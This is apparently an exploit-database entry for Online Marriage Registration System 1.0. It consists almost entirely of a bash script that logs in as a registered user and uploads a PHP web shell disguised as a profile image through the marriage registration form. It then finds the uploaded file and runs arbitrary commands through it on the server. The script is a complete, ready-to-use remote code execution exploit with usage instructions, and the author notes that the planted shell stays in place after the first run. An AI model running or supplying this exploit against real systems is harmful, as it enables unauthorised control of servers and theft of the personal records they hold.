Online Marriage Registration System 1.0 - Remote Code Execution (1)

# Exploit Title: Online Marriage Registration System 1.0 Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-31
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 / Xampp Server and Wamp Server
# CVE : N/A
# Notes : Exploit Requires Authentication But You Can Register As User For Free, This Is Enough To Exploit System

#!/bin/bash
echo "# Online Marriage Registration System 1.0 ---> Remote Code Execution"
echo "# Author ---> Selim Enes Karaduman"
echo "# Usage ---> ./exploit.sh -u TARGET_URL(e.g http://10.10.10.10/omrs/ -m MOBILE_NUMBER -p PASSWORD -c COMMAND"
while getopts u:m:p:c: par
do
case $par in
u) url=$OPTARG ;;
m) mnum=$OPTARG ;;
p) passwd=$OPTARG ;;
c) command=$OPTARG ;;
esac
done
sess=$(curl -s -i -X POST $url/user/login.php -d "mobno=$mnum&password=$passwd&login=" | grep -F "Set-Cookie" | sed 's/;//g' | cut -d " " -f 2)
url_for_req=$(echo $url | cut -d "/" -f 3)
function upload(){
curl -i -s -k -X $'POST' \
    -H $"Host: $url_for_req" -H $'Content-Type: multipart/form-data; boundary=---------------------------8759967759481129101498329242' -H $"Cookie: $sess" -H $'Content-Length: 3244' \
    -b $"$sess" \
    --data-binary $'-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"dom\"\x0d\x0a\x0d\x0a05/01/2020\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"nofhusband\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"husimage\"; filename=\"a.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php\x0aecho system($_GET[\'cmd\']);\x0a?>\x0a\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"hreligion\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"hdob\"\x0d\x0a\x0d\x0a05/01/2020\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"hsbmarriage\"\x0d\x0a\x0d\x0aBachelor\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"haddress\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"hzipcode\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"hstate\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"hadharno\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"nofwife\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wifeimage\"; filename=\"test.jpg\"\x0d\x0aContent-Type: image/jpeg\x0d\x0a\x0d\x0ahi\x0a\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wreligion\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wdob\"\x0d\x0a\x0d\x0a05/01/2020\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wsbmarriage\"\x0d\x0a\x0d\x0aBachelor\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"waddress\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wzipcode\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wstate\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"wadharno\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"witnessnamef\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"waddressfirst\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"witnessnames\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"waddresssec\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"witnessnamet\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"waddressthird\"\x0d\x0a\x0d\x0atest\x0d\x0a-----------------------------8759967759481129101498329242\x0d\x0aContent-Disposition: form-data; name=\"submit\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------8759967759481129101498329242--\x0d\x0a' \
    $"$url/user/marriage-reg-form.php" >>/dev/null
}
upload

#Execute the given command
shell_file=$(curl -s $url/user/images/ | grep ".php" | grep -Eo 'href="[^\"]+"' | sed 's/href=//g' | sed 's/\"//g' | grep -m1 '')


check=$(echo $command | grep " " | wc -l)
if [[ $check > 0 ]]
then
fixed_command=$(echo $command | sed 's/ /%20/g')
curl -s "$url/user/images/$shell_file?cmd=$fixed_command"
else
curl -s "$url/user/images/$shell_file?cmd=$command"
fi


echo "IF YOU DONT GET RESPONSE OF THE COMMAND YOU GAVE, PROBABLY YOU GAVE WRONG CREDENTIALS"
echo "After first exploit, even if you give wrong credentials it'll work since the file is already uploaded"
shift $((OPTIND-1))